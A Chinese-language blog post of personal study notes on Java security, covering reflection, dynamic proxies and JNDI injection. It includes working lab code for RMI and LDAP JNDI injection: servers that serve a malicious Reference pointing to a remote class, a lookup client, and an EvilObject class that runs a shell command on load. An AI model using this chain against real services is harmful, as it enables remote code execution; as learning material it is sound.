侧边栏壁纸
博主昵称
Mingzu

薪心相印,相由薪生

JavaSec

2024年12月17日 163阅读 0评论 0点赞

Java

顺着这个路线学的:https://github.com/Y4tacker/JavaSec

边学边记,肯定有一些错误()

环境 jdk 1.8.0_72

reflection

反射机制简述

java 在运行时:

  1. 对于任意一个类,能获取它的所有方法、属性、构造器
  2. 任意一个对象,能调用它的所有方法、修改它的属性(包括私有)

这种动态获取信息,动态调用对象方法的功能,就是反射机制。

命令执行和输出

package com.mingzux;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class test {
    public static void main(String[] args) throws Exception {
        // 获取 Runtime 实例
        Object runtimeInstance = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
        // 调用 exec(String command) 方法, 执行系统命令 cmd, 并将该进程的 Process 对象保存
        String cmd = "ls /";
        Process result = (Process) Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtimeInstance, cmd);
        // 从 Process 的标准输出流读取结果
        try (BufferedReader reader = new BufferedReader(new InputStreamReader(result.getInputStream()))) {
            String data;
            while ((data = reader.readLine()) != null) {
                System.out.println(data);
            }
        }
    }
}

整体思路是调用 Runtime 的 exec 方法来执行命令

  1. 通过 Class.forName("java.lang.Runtime").getMethod("exec", String.class) 获取 Method exec
  2. 然后使用 .invoke() 调用 exec ,调用时需要 Runtime 实例作为参数,所以在调用前先通过 Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null) 获取
  3. 命令执行后,从 Process 读取结果

读取和修改公有属性、私有属性以及被 finalstatic final 修饰的成员变量

package com.mingzux;

import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class TestReflection {
    public static void main(String[] args) throws Exception {
        // 获取类和对象
        Class mz = SDUer.class;
        SDUer mingzu = (SDUer) mz.getDeclaredConstructor().newInstance();

        // 获取继承的 public 字段 - name
        Field name = mz.getField("name");
        System.out.println(name);
        // 读取 name 的值, 需要该类的对象, 而不是类
        System.out.println(name.get(mingzu));
        // 修改 name 的值, 需要该类的对象, 而不是类
        name.set(mingzu, "M!ng2u");
        System.out.println(name.get(mingzu));

        // 获取 private 字段 - sduId
        Field sduId = mz.getDeclaredField("sduId");
        System.out.println(sduId);
        // 读取 sduId 的值,同样需要对象
        sduId.setAccessible(true); // private 需要 setAccessible
        System.out.println(sduId.get(mingzu));
        // 修改 sduId 的值
        sduId.set(mingzu, "2333333");
        System.out.println(sduId.get(mingzu));

        // 获取继承的 protected 字段 - id
        Field id = mz.getSuperclass().getDeclaredField("id");
        System.out.println(id);
        // 读取 id 的值
        System.out.println(id.get(mingzu));
        // 修改 id 的值
        id.set(mingzu, "31415926535");
        System.out.println(id.get(mingzu));

        // 获取继承的被 final 修饰的字段 - species
        Field species = mz.getField("species");
        System.out.println(species);
        // 读取 species 的值
        System.out.println(species.get(mingzu));
        // 修改 species 的值
        // 获取 species 的 modifiers
        Field speciesModifiers = species.getClass().getDeclaredField("modifiers");
        System.out.println(speciesModifiers);
        // 读取 modifiers 的值
        speciesModifiers.setAccessible(true);
        System.out.println(speciesModifiers.get(species));
        // 将 modifiers 中的 final 去掉
        speciesModifiers.setInt(species, species.getModifiers() & ~Modifier.FINAL);
        System.out.println(speciesModifiers.get(species));
        // 这时候就可以修改 species 的值了
        species.setAccessible(true);
        species.set(mingzu, "Visitor");
        System.out.println(species.get(mingzu));

        // 获取被 static final 修饰的字段 - university
        Field university = mz.getDeclaredField("university");
        System.out.println(university);
        // 读取 university 的值
        university.setAccessible(true);
        System.out.println(university.get(mingzu));
        university.setAccessible(false); //这里不设 false 会寄, 可能是下面权限检查过不了
        // 修改 university 的值
        // 获取 university 的 modifiers
        Field universityModifiers = university.getClass().getDeclaredField("modifiers");
        System.out.println(universityModifiers);
        // 读取 modifiers 的值
        universityModifiers.setAccessible(true);
        System.out.println(universityModifiers.get(university));
        // 将 modifiers 中的 static final 去掉
        universityModifiers.setInt(university, university.getModifiers() & ~Modifier.FINAL);
        System.out.println(universityModifiers.get(university));
        // 修改 university 的值
        university.set(mingzu, "minihash");
        System.out.println(university.get(mingzu));

        System.out.println(mingzu.university); // 由于 JVM 内联优化, 包含 final 修饰的 university 的这句会被改成
        // System.out.println("SDU");
        // 所以只能用上面的 Field.get(Object obj) 方法获取
    }
}

class SDUer extends Person {
    public static final String university = "SDU";
    private String sduId = "202322171145";

    @Override
    public String toString() {
        return "SDUer [sduId=" + sduId + ", name=" + name + ", id=" + id + ", university=" + university + "]";
    }
}

class Person {
    public String name = "Mingzu";
    public String gender = "M";
    protected String id = "1145141919810";
    public final String species = "Human";
}

输出结果为

------------------------------------------------------
public java.lang.String com.mingzux.Person.name
Mingzu
M!ng2u
------------------------------------------------------
private java.lang.String com.mingzux.SDUer.sduId
202322171145
2333333
------------------------------------------------------
protected java.lang.String com.mingzux.Person.id
1145141919810
31415926535
------------------------------------------------------
public final java.lang.String com.mingzux.Person.species
Human
private int java.lang.reflect.Field.modifiers
17
1
Visitor
------------------------------------------------------
public static final java.lang.String com.mingzux.SDUer.university
SDU
private int java.lang.reflect.Field.modifiers
25
9
minihash
SDU

动态代理

定义:JVM在运行期动态创建class字节码并加载的过程

JDK 动态代理

java.lang.reflect.InvocationHandler

Object invoke(Object proxy, Method method, Object[] args)

定义了代理对象调用方法时希望执行的动作,用于集中处理在动态代理类对象上的方法调用

java.lang.reflect.Proxy

static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

创建一个实例,需要三个参数:

  1. 接口类的 ClassLoader
  2. 接口数组
  3. 处理接口方法调用的 InvocationHandler 实例。
static InvocationHandler getInvocationHandler(Object proxy)

获取指定代理对象所关联的调用处理器

static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces)

获取指定接口的代理类

static boolean isProxyClass(Class<?> cl)

判断 cl 是否为一个代理类

跟着写了一个动态代理的代码,比较简单的一小段

package com.mingzux;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class DynamicProxy {
    public static void main(String[] args) {
        InvocationHandler handler = new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                System.out.println(method);
                if (method.getName().equals("morning")) {
                    System.out.println("Good Morning, " + args[0]);
                }
                return null;
            }
        };
        Hello hello = (Hello) Proxy.newProxyInstance(
                Hello.class.getClassLoader(),
                new Class[] { Hello.class },
                handler
        );
        hello.morning("Mingzu");
    }
}

interface Hello {
    void morning(String name);
}

JNDI 注入

Java Naming and DirectoryInterface(Java命名和目录接口)

重要:需要知道 jdk 版本号

RMI 攻击向量

JNDI 有一个 Reference 类表示对某个对象的引用,而对象的传递无非就是两种方式:

  1. 按序列化方式存储(值传递)
  2. 按引用的方式存储(引用传递)

利用技巧:

将恶意 Reference 类绑定在 RMI 注册表,指向远程 class 文件

当 JNDI 客户端 lookup() 函数外部可控或 Reference 类构造方法的 classFactoryLocation 参数外部可控时,实现加载远程 class 文件在本地执行,实现远程代码执行

RMIService.jvav

package com.mingzux.JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);
    }
}

JNDIClient.java

package com.mingzux.JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        String uri = "rmi://127.0.0.1:1099/refObj";
        Context ctx = new InitialContext();
        System.out.println("Using lookup() to fetch object with " + uri);
        ctx.lookup(uri);
    }
}

EvilObject.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"/bin/bash", "-c", "ls /"};
        Process pc = rt.exec(commands);

        BufferedReader result = new BufferedReader(new InputStreamReader(pc.getInputStream()));

        String data;
        while((data = result.readLine()) != null) {
            System.out.println(data);
        }

        pc.waitFor();
    }
}

LDAP 攻击向量

版本:8u191、7u201、6u211与8u121、7u131、6u141之间

利用技巧:与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址

看了好几遍,然后边写边看跟着抄了一遍,大致了解了,先过()

LdapServer.java

package com.mingzux.Ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=mingzux,dc=com";

    public static void main (String[] args) {
        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()
            ));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));

            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        public void processSearchResult (InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf("#");
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

JNDIClient.java

package com.mingzux.Ldap;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        String uri = "ldap://127.0.0.1:1234/remoteObj";
        Context ctx = new InitialContext();
        System.out.println("Using lookup() to fetch object with " + uri);
        ctx.lookup(uri);
    }
}

EvilObject.java 没变,跟上一节一样

0

—— 评论区 ——

昵称
邮箱
网址
取消
博主栏壁纸
博主头像 Mingzu

薪心相印,相由薪生

4 文章数
0 标签数
0 评论量
人生倒计时